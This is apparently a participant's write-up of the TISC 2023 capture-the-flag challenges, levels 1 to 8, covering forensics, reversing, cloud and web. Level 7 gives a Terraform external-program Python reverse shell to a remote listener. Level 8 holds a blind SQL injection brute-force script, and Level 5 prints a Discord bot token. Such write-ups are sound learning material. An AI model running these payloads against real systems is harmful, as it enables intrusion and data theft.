TISC 2023 was a 15-day long CTF that had a unique ring system. I was having my
final year exams until about a week in so I didn’t solve much during that time :(
I cleared till Level 8 together with 18 other participants. These were the
challenges I solved (I went web/cloud route cos im too noob)
Scoreboard
Level 1 - Disk Archaeology
Unknown to the world, the sinister organization PALINDROME has been crafting a catastrophic malware that threatens to plunge civilization into chaos. Your mission, if you choose to accept it, is to infiltrate their secret digital lair, a disk image exfiltrated by our spies. This disk holds the key to unraveling their diabolical scheme and preventing the unleashing of a suspected destructive virus.
I was provided with a disk dump. Initially, I used FTK Imager to analyse the dump, and found an ELF binary in unallocated space:
FTK Imager
However due to little endian/disk segmentation, the order of the file was messed up. I extracted it and tried to manually fix it for a while using HxD before realizing that it’s probably too difficult for Level 1.
After googling for a bit, I found Autopsy and tried it on the image. After scanning the disk for deleted files, Autopsy was able to correctly identify the binary as well as a runner script. Extracting and running the binary gave the flag: TISC{w4s_th3r3_s0m3th1ng_l3ft_ubrekeslydsqdpotohujsgpzqiojwzfq}
Level 2 - XIPHEREHPIX’s Reckless Mistake
Our sources told us that one of PALINDROME’s lieutenants, XIPHEREHPIX, wrote a special computer program for certain members of PALINDROME. We have somehow managed to get a copy of the source code and the compiled binary. The intention of the program is unclear, but we think encrypted blob inside the program could contain a valuable secret.
printf("Hello PALINDROME member, please enter password:");
password_length = input_password(password); if (password_length < 40) { printf("The password should be at least 40 characters as per PALINDROME's security policy.\n"); exit(0); }
The goal is to decrypt the ciphertext in show_welcome_msg, which is encrypted using AES-GCM. The vuln lies in how the key is initialized.
Firstly, a constant seed is used. This allows me to reproduce arr[0], as well as the subsequent elements which are calculated using arr[i] = sha256(arr[i-1]).
The next section iterates through the password maintaining a counter variable, and if the last bit of each character = 1, key256 ^= arr[counter]. This might seem complicated since I don’t know when the key is xored, and hence I don’t know the key.
However, the accumulate_xor function reduces the search space by a lot. Since a ^ (a ^ b) = b, the total search space is essentially reduced to any permutation of arr. Hence, the key can be bruteforced to test all permutations of arr. I used the following solve script:
// Hashes cnt bytes of data at d into the digest context mdCtx if (!EVP_DigestUpdate(mdCtx, msg, msglen)) { printf("Message digest update failed.\n"); EVP_MD_CTX_free(mdCtx); exit(EXIT_FAILURE); }
intgcm_decrypt(unsignedchar *ciphertext, int ciphertext_len, unsignedchar *aad, int aad_len, unsignedchar *tag, unsignedchar *key, unsignedchar *iv, int iv_len, unsignedchar *plaintext) { EVP_CIPHER_CTX *ctx; int len; int plaintext_len; int ret;
/* Create and initialise the context */ if (!(ctx = EVP_CIPHER_CTX_new())) return-1;
/* Initialise the decryption operation. */ if (!EVP_DecryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL)) return-2;
/* Set IV length. Not necessary if this is 12 bytes (96 bits) */ if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, iv_len, NULL)) return-3;
/* Initialise key and IV */ if (!EVP_DecryptInit_ex(ctx, NULL, NULL, key, iv)) return-4;
/* * Provide any AAD data. This can be called zero or more times as * required */ if (!EVP_DecryptUpdate(ctx, NULL, &len, aad, aad_len)) return-5;
/* * Provide the message to be decrypted, and obtain the plaintext output. * EVP_DecryptUpdate can be called multiple times if necessary */ if (!EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len)) return-6; plaintext_len = len;
/* Set expected tag value. Works in OpenSSL 1.0.1d and later */ if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_TAG, 16, tag)) return-7;
/* * Finalise the decryption. A positive return value indicates success, * anything else is a failure - the plaintext is not trustworthy. */ ret = EVP_DecryptFinal_ex(ctx, plaintext + len, &len);
plaintext_length = gcm_decrypt(ciphertext, 42, (unsignedchar *)header, strlen(header), tag, key, iv, 16, plaintext); if (plaintext_length != -8) { printf("Welcome PALINDROME member. Your secret message is %.*s\n", plaintext_length, plaintext); } }
voidprintCombination(uint256_t arr[], uint256_t data[], int start, int end, int index, int r, void (*func)(uint256_t[], int)) { if (index == r) { func(data, r); return; }
for (int i = start; i <= end && end - i + 1 >= r - index; i++) { data[index] = arr[i]; printCombination(arr, data, i + 1, end, index + 1, r, func); } }
voidgenerateCombinations(uint256_t items[], int n, void (*func)(uint256_t[], int)) { for (int r = 1; r <= n; r++) { uint256_t data[r]; // Temporary array to store all combinations printf("%d\n", r); printCombination(items, data, 0, n - 1, 0, r, func); } }
We’ve managed to grab an app from a suspicious device just before it got reset! The copying couldn’t finish so some of the last few bytes got corrupted… But not all is lost! We heard that the file shouldn’t have any comments in it! Help us uncover the secrets within this app!
I was provided with a slightly corrupted apk file which despite my best attempts couldn’t be installed on my phone/emulator.
After analyzing the apk in jadx, I found this class of interest:
jadx
So the apk is loading an external libkappa.so native library and calling the css() function loaded from it. After unzipping the apk and analysing the library in IDA, I found the flag generation function sub_201F0.
ida
Jumping to it, I found the encoded flag and the code to decode it. I used the following to decode the flag:
Seems like it’s a bit messed up. I guessed a little and used ArBraCaDabra?KAPPACADABRA as the initial decoded string.
Then the second part rearranges the bytes to form the final flag. I threw the IDA pseudocode in ChatGPT and got it to generate a script in Python for me:
import hashlib
defN(value, algorithm): # Implement the N function using hashlib to compute hash hash_object = hashlib.new(algorithm) hash_object.update(value.encode()) return hash_object.hexdigest()
# Assuming P function is defined elsewhere print("".join(charArray))
# Example usage: M([ord(i) for i in"ArBraCaDabra?KAPPACADABRA"])
bgr@tS!us0lv3dIT,KaPpA!
The flag was wrong :( But after using some common sense and guessing, I found that the flag was TISC{C0ngr@tS!us0lv3dIT,KaPpA!}.
Level 4 - RUBG
After last year’s hit online RPG game “Slay The Dragon”, the cybercriminal organization PALINDROME has once again released another seemingly impossible game called “Really Unfair Battleships Game” (RUBG). This version of Battleships is played on a 16x16 grid, and you only have one life. Once again, we suspect that the game is being used as a recruitment campaign. So once again, you’re up!
Things are a little different this time. According to the intelligence we’ve gathered, just getting a VICTORY in the game is not enough.
PALINDROME would only be handing out flags to hackers who can get a FLAWLESS VICTORY.
You are tasked to beat the game and provide us with the flag (a string in the format TISC{xxx}) that would be displayed after getting a FLAWLESS VICTORY. Our success is critical to ensure the safety of Singapore’s cyberspace, as it would allow us to send more undercover operatives to infiltrate PALINDROME.
I was provided with both an .exe and a AppImage. Being sensible, I did not attempt to reverse the .exe.
The filesystem of the AppImage can be unpacked by /rubg.AppImage --appimage-extract. This outputs the squashfs-root where I found resources/unpacked/app.asar, containing the actual app which I can analyse and edit. I realized that it was an Electron app, and read somewhere that Electron apps can be easily edited to change client-side behaviour. Thus, I prettified and modified the Javascript to render ships with cells different, and then repackaged the app using npx asar pack ./unpacked app.asar.
Lastly, I repackaged the AppImage using appimagetool ./squashfs-root test.AppImage (actually not necessary, can just run AppRun in the fs), and running it indeed showed me the tiles with ships on it. I then clicked on the tiles sequentially (top-down, then left-right) to get the app to fetch the flag from the endpoint.
The wonderfully flagged out tiles for me to click:
too easy
TISC{t4rg3t5_4cqu1r3d_fl4wl355ly_64b35477ac}
Level 5 - PALINDROME’s Invitation
Valuable intel suggests that PALINDROME has established a secret online chat room for their members to discuss on plans to invade Singapore’s cyber space. One of their junior developers accidentally left a repository public, but he was quick enough to remove all the commit history, only leaving some non-classified files behind. One might be able to just dig out some secrets of PALINDROME and get invited to their secret chat room…who knows?
I was provided with a git repo containing a Github workflow. Many participants tried to fork the repo and run the workflow on their own, but since none of them looked like they got the flag, I decided not to try that. Looking at the logs of the very first workflow:
workflow
The endpoint and password were revealed. Using these, I got an ordinary invite to the target Discord server, and could generate bot tokens to control bots in the server. After enumerating for a while, I found the #meeting-records and #flag channels. #meeting-records was readable by the bot while #flag wasn’t.
This entire conversation is fictional and written by ChatGPT. Anya: (Whispering) I promise, Mama. Our lips are sealed! Yor: (Hugging Anya gently) That's the spirit, my little spy. We'll be the best team and support Papa in whatever way we can. But remember, we must keep everything a secret too. Anya: (Feeling important) I'll guard it with my life, Mama! And when the time comes, we'll be ready for whatever secret mission they have planned! Yor: (Nods knowingly) You might be onto something, Anya. Spies often use such clever tactics to keep their missions covert. Let's keep this invitation safe and see if anything happens closer to your supposed birthday. Anya: (Giggling) Yeah! Papa must have planned it for me. But, Mama, it's not my birthday yet. Do you think this is part of their mission? Yor: (Pretending to be surprised) Oh, my goodness! That's amazing, Anya. And it's for a secret spy meeting disguised as your birthday party? How cool is that? Anya: (Excitedly) Mama, look what I found! It's an invitation to a secret spy meeting! (Anya rushes off to her room, and after a moment, she comes back with a colorful birthday invitation. Notably, the invitation is signed off with: client_id 1076936873106231447) Anya: (Eyes lighting up) My room! I'll check there first! Yor: (Pats Anya's head affectionately) You already are, Anya. Just by being here and supporting us, you make everything better. Now, let's focus on finding that clue. Maybe it's hidden in one of you r favorite places. Anya: (Giggling) Don't worry, Mama, I won't mess up anything. But I really want to be useful! Yor: (Playing along) Of course, my little spy-in-training! We can look for any clues that might be lying around. But remember, we have to be careful not to interfere with Papa's work directly. He wouldn't want us to get into any trouble. Anya: (Eager to help) I want to help Papa with this mission, Mama! Can we find out more about it? Maybe there's a clue hidden somewhere in the house! Yor: (Trying not to give too much away) Hmm, '66688,' you say? Well, it's not something I'm familiar with. But I'm sure it must be related to the clearance or authorization they need for this specific task. Spies always use these secret codes to communicate sensitive information. Anya: (Nods) Yeah, but Papa said it's a complicated operation, and they need some special permission with the number '66688' involved. I wonder what that means. Yor: (Intrigued) Oh, that sounds like a challenging mission. I'm sure your Papa will handle it well. We'll be cheering him on from the sidelines. Anya: (Whispers) It's something about infiltrating Singapore's cyberspace. They're planning to do something big there! Yor: (Smiling warmly) Really, Anya? That's wonderful! Tell me all about it. Anya: (Excitedly bouncing on her toes) Mama, Mama! Guess what, guess what? I overheard Loid talking to Agent Smithson about a new mission for their spy organization PALINDROME!
What a fascinating conversation.
In #meeting-records, the thread hinted towards the BetterInvites bot. I searched the audit logs for all invites created by the bot, and found one https://discord.gg/HQvTm5DSTs that was active. This invite grants me admin rights to the server, hence I can see the #flag channel to get the flag.
Solve script (amidst commented different approaches):
from pprint import pprint import discord import inspect
TOKEN = "MTEyNTk4MjE2NjM3MTc5NDk5NQ.G9rv87.A31bLMrXS9UM-6CKjJyX9IddRSATSHXhiac-QQ"# take it, its expired anyway
client = discord.Client()
@client.event asyncdefon_ready(): for i in client.get_all_channels(): if i.name == "flag": role = i.guild.get_role(1132167893983965206) print(role) perms = i.permissions_for(role) pprint(inspect.getmembers(perms)) # async for j in i.guild.audit_logs(): # if j.action == discord.AuditLogAction.invite_create: # print("--") # print(j.before) # print(j.after) # print(i.name) # if i.name == "meeting-records": # # perms = i.permissions_for(i.guild.me) # # pprint(inspect.getmembers(perms)) # async for msg in i.history(): # thread = msg.thread # async for msg in thread.history(): # print(msg.content)
client.run(TOKEN)
TISC{H4ppY_B1rThD4y_4nY4!}
Level 6 - The Chosen Ones
We have discovered PALINDROME’s recruitment site. Infiltrate it and see what you can find!
This function looks like it could be reversed one-to-one, if not for the mod. With the mod, I need to create a mapping of all numbers below 2^32 that are incremented from the initial OTP, and find a match that can produce the 2nd OTP as well.
prev_code = 859307 current_code = 207346
temp = current_code
defcalc(x): i = bin(x)[2:] first, second = i[-7:], i[:-7] out = ''.join([first, second]) x = int(out, 2)
This generates the original number that was seeded in my session (note: doesn’t work for the very first/second OTP). Feeding this back into the php source I obtain the OTP.
After that, I reached the 2nd part of the challenge - a random employee search.
chosen-ones
In the cookies there is a rank field. After playing with it for a while, I realized that the field was being put into the query directly. Then it’s just basic union sqli to get the flag.
Palindrome has accidentally exposed one of their onboarding guide! Sneak in as a new developer and exfiltrate any meaningful intelligence on their production system.
I start off at a static cloudfront page with 2 links - 1 generates a csr-crt pair, and the other is a nginx blocked site. The csr-crt pair are pre-signed AWS S3 links that can be used for upload/download. After googling a bit on mTLS, I figured out how to generate a CSR request:
Then PUT server.csr to the .csr endpoint, which automatically refreshes the .crt endpoint. Downloading the cert and using it to authenticate with mTLS against the other site:
The above describes a pipeline that triggers when rawr.zip is uploaded to the devsecmeow2023zip S3 bucket. This triggers a terraform plan job that can be viewed with our codebuild permissions:
So they run terraform plan on our extracted zip. After researching for a while, a RCE exploit for terraform plan was found:
data "external" "testing" { program = ["python", "-c", "import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('<remote>',1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(['/bin/sh','-i']);"] }
Changing to my reverse shell server, I got a shell as the codebuild instance:
root@root# nc -lnvp 1337 Listening on 0.0.0.0 1337 Connection received on 52.221.221.130 57779 sh: cannot set terminal process group (1): Inappropriate ioctl for device sh: no job control in this shell sh-5.2# ls ls config.tf terraform.tfstate sh-5.2#
The first part of the flag is in the env:
flag1=TISC{pr0tecT_
The instance also has the arn:aws:iam::232705437403:role/codebuild-role role. I can enumerate the permissions of this role:
Probably some setup script. We take the certs and save them locally, then connect to the ec2 instance:
curl --cert flag2.crt --key flag2.key https://54.255.155.134/ -k | save flag2.html
flag2
TISC{pr0tecT_yOuR_d3vSeCOps_P1peL1nEs!!<##:3##>}
Level 8 - Blind SQL Injection
As part of the anti-PALINDROME task force, you find yourself face to face with another task.
“We found this horribly made website on their web servers,” your superior tells you. “It’s probably just a trivial SQL injection vulnerability to extract the admin password. I’m expecting this to be done in about an hour.”
You ready your fingers on the keyboard, confident that you’ll be able to deliver.
This challenge is deceptively simple. The web and cloud portion are hardly there, and the rev portion can hardly be considered rev.
Web
There’s an SQLi in the login form, but it’s protected by a blacklist on AWS Lambda. It blocks every character except letters (also null bytes but that’s a side effect of wasm I think).
The above function generates a pre-signed token to download the craft-query lambda source as a zip. In the zip was a .wasm file and the meat of the challenge: site.wasm.
Using index.js (it’s somewhat edited but I used it to fuzz and im too lazy to get the original file back), I realized that the program crashes with a suspicious message when i = 67:
SELECT * from Users WHERE username="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" AND password="asdf" 65 SELECT * from Users WHERE username="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" AND password="asdf" 66 SELECT * from Users WHERE username="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" AND password="asdf" 67 /home/samuzora/ctf/comp/tisc/blind-sqli/craft-query/site.js:127 throw ex; ^
RuntimeError: null function or function signature mismatch at wasm://wasm/456522fa:wasm-function[9]:0xe1d at /home/samuzora/ctf/comp/tisc/blind-sqli/craft-query/site.js:666:22 at ccall (/home/samuzora/ctf/comp/tisc/blind-sqli/craft-query/site.js:1230:22) at /home/samuzora/ctf/comp/tisc/blind-sqli/craft-query/site.js:1247:16 at /home/samuzora/ctf/comp/tisc/blind-sqli/craft-query/index.js:18:20
Node.js v18.16.0
This is very interesting. I googled and found out that wasm (when using the call_indirect instruction) does suffer from RCE via buffer overflow, but has a “mitigation” in place - the function being jumped to must have the same function signature as the one specified in call_indirect. Also, this function must exist in the jump table (similar to GOT).
So I must jump to type 3 function (which is only 9 and 8 - and it doesn’t make much sense for 9 (ok maybe it might) to jump back to 9). To jump to the function, the “RIP” must have the index (1-indexed) of the function in the table - in this case, I want to jump to func 9, so index 2.
charset = [i for i in string.ascii_uppercase + string.digits + "_{}!$@#^&*()+"] print(charset)
flag = "TISC{A1PHAB3T_0N1Y}"
# for i in range(1, 50): # for letter in charset: # username = f'admin" and substring(password, {i}, 1) = "{letter}" -- ' # username += "a" * (68 - len(username)) + "%02" # # data = {"username": username, "password": "asdf"} # # response = requests.post(url, data=data) # # if response.url != "http://chals.tisc23.ctf.sg:28471/": # flag += letter # print(flag) # break
password = ""
for letter in flag: for i in [letter.upper(), letter.lower()]: username = f'admin" and password like binary "{password + i + "%"}" -- ' username += "a" * (68 - len(username)) + "%02"
data = {"username": username, "password": "asdf"}
response = requests.post(url, data=data)
if response.url != "http://chals.tisc23.ctf.sg:28471/": password += i print(password) break
(note: I messed up the first part and did case-insensitive match, that’s why I had the second part to get the correct casing)
TISC{a1PhAb3t_0N1Y}
Overall fun wasm pwn but deceivingly hard challenge.